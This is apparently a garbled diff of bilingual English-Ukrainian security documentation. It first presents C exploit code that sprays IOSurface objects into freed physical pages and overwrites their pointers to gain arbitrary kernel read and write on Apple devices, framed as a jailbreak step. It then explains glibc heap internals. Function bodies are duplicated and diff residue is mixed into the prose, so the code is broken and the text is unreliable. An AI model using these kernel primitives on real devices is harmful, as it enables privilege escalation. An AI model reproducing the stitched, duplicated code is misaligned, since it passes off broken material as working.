IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
Шукайте **`IOSurface`** об'єкти на одній звільненій фізичній сторінці:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Досягнення читання/запису в ядрі з IOSurface
### Achieving Kernel Read/Write with IOSurface
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для **произвольних операцій читання та запису в ядрі**.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**Ключові поля в IOSurface**
**Key Fields in IOSurface**
Об'єкт IOSurface має два важливих поля:
The IOSurface object has two crucial fields:
1. **Вказівник на кількість використань**: Дозволяє **32-бітне читання**.
2. **Вказівник на індексований часовий штамп**: Дозволяє **64-бітний запис**.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє можливості читання/запису.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### 32-Бітне читання з ядра
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
Щоб виконати читання:
1. Перезапишіть **вказівник на кількість використань**, щоб він вказував на цільову адресу мінус 0x14-байтовий зсув.
2. Використовуйте метод `get_use_count`, щоб прочитати значення за цією адресою.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Бітний Запис Ядра
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
Щоб виконати запис:
1. Перезапишіть **індексований вказівник часу** на цільову адресу.
2. Використовуйте метод `set_indexed_timestamp`, щоб записати 64-бітне значення.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Підсумок потоку експлуатації
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **Запустити фізичне використання після звільнення**: Вільні сторінки доступні для повторного використання.
2. **Розподілити об'єкти IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
3. **Визначити доступний IOSurface**: Знайти IOSurface на звільненій сторінці, яку ви контролюєте.
4. **Зловживати використанням після звільнення**: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне **читання/запис ядра** через методи IOSurface.
З цими примітивами експлуатація забезпечує контрольовані **32-бітні читання** та **64-бітні записи** в пам'ять ядра. Подальші кроки джейлбрейку можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).

View File

@ -2,196 +2,189 @@
## Heap Basics
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
Купа - це, по суті, місце, де програма може зберігати дані, коли запитує дані, викликаючи функції, такі як **`malloc`**, `calloc`... Більше того, коли ця пам'ять більше не потрібна, вона стає доступною, викликаючи функцію **`free`**.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
Як показано, вона знаходиться безпосередньо після того, як бінарний файл завантажується в пам'ять (перевірте розділ `[heap]`):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
Коли запитуються дані для зберігання в купі, для них виділяється певний обсяг пам'яті. Цей обсяг буде належати біну, і лише запитувані дані + обсяг заголовків бінів + мінімальний зсув розміру біна будуть зарезервовані для частини. Мета полягає в тому, щоб зарезервувати якомога менше пам'яті, не ускладнюючи пошук, де знаходиться кожна частина. Для цього використовується інформація про метадані частини, щоб знати, де знаходиться кожна використана/вільна частина.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
Існують різні способи резервування простору, в основному залежно від використаного біна, але загальна методологія є такою:
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- Програма починає з запиту певної кількості пам'яті.
- Якщо в списку частин є доступна, достатньо велика, щоб задовольнити запит, вона буде використана.
- Це може навіть означати, що частина доступної частини буде використана для цього запиту, а решта буде додана до списку частин.
- Якщо в списку немає доступної частини, але в виділеній пам'яті купи ще є місце, менеджер купи створює нову частину.
- Якщо недостатньо місця в купі для виділення нової частини, менеджер купи запитує у ядра розширити пам'ять, виділену для купи, а потім використовує цю пам'ять для створення нової частини.
- Якщо все не вдається, `malloc` повертає null.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
Зверніть увагу, що якщо запитувана **пам'ять перевищує поріг**, **`mmap`** буде використано для відображення запитуваної пам'яті.
## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
У **багатопотокових** додатках менеджер купи повинен запобігати **умовам гонки**, які можуть призвести до збоїв. Спочатку це робилося за допомогою **глобального м'ютекса**, щоб забезпечити доступ до купи лише одного потоку в один момент часу, але це викликало **проблеми з продуктивністю** через вузьке місце, викликане м'ютексом.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
Щоб вирішити цю проблему, аллокатор купи ptmalloc2 ввів "арени", де **кожна арена** діє як **окрема купа** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з купою без перешкод один одному, якщо вони використовують різні арени.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
За замовчуванням "основна" арена обробляє операції з купою для однопотокових додатків. Коли **додаються нові потоки**, менеджер купи призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підкупи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку купи, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій.
### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
Підкупи служать резервами пам'яті для вторинних арен у багатопотокових додатках, дозволяючи їм рости та управляти своїми власними регіонами купи окремо від основної купи. Ось як підкупи відрізняються від початкової купи та як вони працюють:
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **Початкова купа проти підкупів**:
- Початкова купа розташована безпосередньо після бінарного файлу програми в пам'яті, і вона розширюється за допомогою системного виклику `sbrk`.
- Підкупи, які використовуються вторинними аренами, створюються через `mmap`, системний виклик, який відображає вказану область пам'яті.
2. **Резервування пам'яті з `mmap`**:
- Коли менеджер купи створює підкуп, він резервує великий блок пам'яті через `mmap`. Це резервування не виділяє пам'ять негайно; воно просто позначає область, яку інші системні процеси або алокації не повинні використовувати.
- За замовчуванням зарезервований розмір для підкупу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
3. **Поступове розширення з `mprotect`**:
- Зарезервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що.
- Щоб "зрости" підкуп, менеджер купи використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підкупу розширюватися за потреби.
- Як тільки весь підкуп вичерпається, менеджер купи створює новий підкуп для продовження алокації.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
Ця структура виділяє відповідну інформацію про купу. Більше того, пам'ять купи може бути не безперервною після більше алокацій, ця структура також зберігатиме цю інформацію.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**Кожен хіп** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\
Важливо зазначити, що **структура `malloc_state` основної арени** є **глобальною змінною в libc** (отже, розташована в пам'яті libc).\
У випадку **структур `malloc_state` хіпів потоків, вони розташовані **всередині власного "хіпу" потоку**.
There some interesting things to note from this structure (see C code below):
Є кілька цікавих моментів, які варто відзначити з цієї структури (див. код C нижче):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- Flags:
- `__libc_lock_define (, mutex);` Призначено для того, щоб забезпечити доступ до цієї структури з хіпу лише з одного потоку одночасно
- Прапори:
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній чанки** малих, великих і неупорядкованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
- Отже, **перший чанк** цих бінів матиме **зворотний вказівник на цю структуру**, а **останній чанк** цих бінів матиме **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **витікати ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**.
- Структури `struct malloc_state *next;` і `struct malloc_state *next_free;` є зв'язаними списками арен
- `top` чанк є останнім "чанком", який в основному є **всією залишковою пам'яттю хіпу**. Коли верхній чанк "порожній", хіп повністю використаний, і потрібно запитати більше пам'яті.
- `last reminder` чанк виникає в випадках, коли чанк точного розміру недоступний, і тому більший чанк розділяється, а вказівник на залишкову частину розміщується тут.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
Ця структура представляє собою певний фрагмент пам'яті. Різні поля мають різне значення для виділених та невиділених фрагментів.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
Як було зазначено раніше, ці частини також мають деякі метадані, які дуже добре представлені на цьому зображенні:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
Метадані зазвичай мають значення 0x08B, що вказує на розмір поточної частини, використовуючи останні 3 біти для вказівки:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A`: Якщо 1, це походить з підкучі, якщо 0 - це в основній арені
- `M`: Якщо 1, ця частина є частиною простору, виділеного за допомогою mmap, і не є частиною купи
- `P`: Якщо 1, попередня частина використовується
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
Потім йде простір для даних користувача, а нарешті 0x08B, щоб вказати розмір попередньої частини, коли частина доступна (або для зберігання даних користувача, коли вона виділена).
Moreover, when available, the user data is used to contain also some data:
Більше того, коли доступно, дані користувача також використовуються для зберігання деяких даних:
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`**: Вказівник на наступну частину
- **`bk`**: Вказівник на попередню частину
- **`fd_nextsize`**: Вказівник на першу частину в списку, яка менша за саму себе
- **`bk_nextsize`:** Вказівник на першу частину в списку, яка більша за саму себе
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> Зверніть увагу, як зв'язування списку таким чином запобігає необхідності мати масив, в якому реєструється кожна окрема частина.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### Вказівники на частини
Коли використовується malloc, повертається вказівник на вміст, який можна записати (безпосередньо після заголовків), однак, при управлінні частинами, потрібен вказівник на початок заголовків (метаданих).\
Для цих перетворень використовуються ці функції:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Вирівнювання та мінімальний розмір
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
Вказівник на шматок і `0x0f` повинні бути 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
Зверніть увагу, що для обчислення загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### Отримати дані Chunk і змінити метадані
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
Ці функції працюють, отримуючи вказівник на chunk, і корисні для перевірки/встановлення метаданих:
- Перевірити прапори chunk
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- Розміри та вказівники на інші частини
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
- Інсуючий біт
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
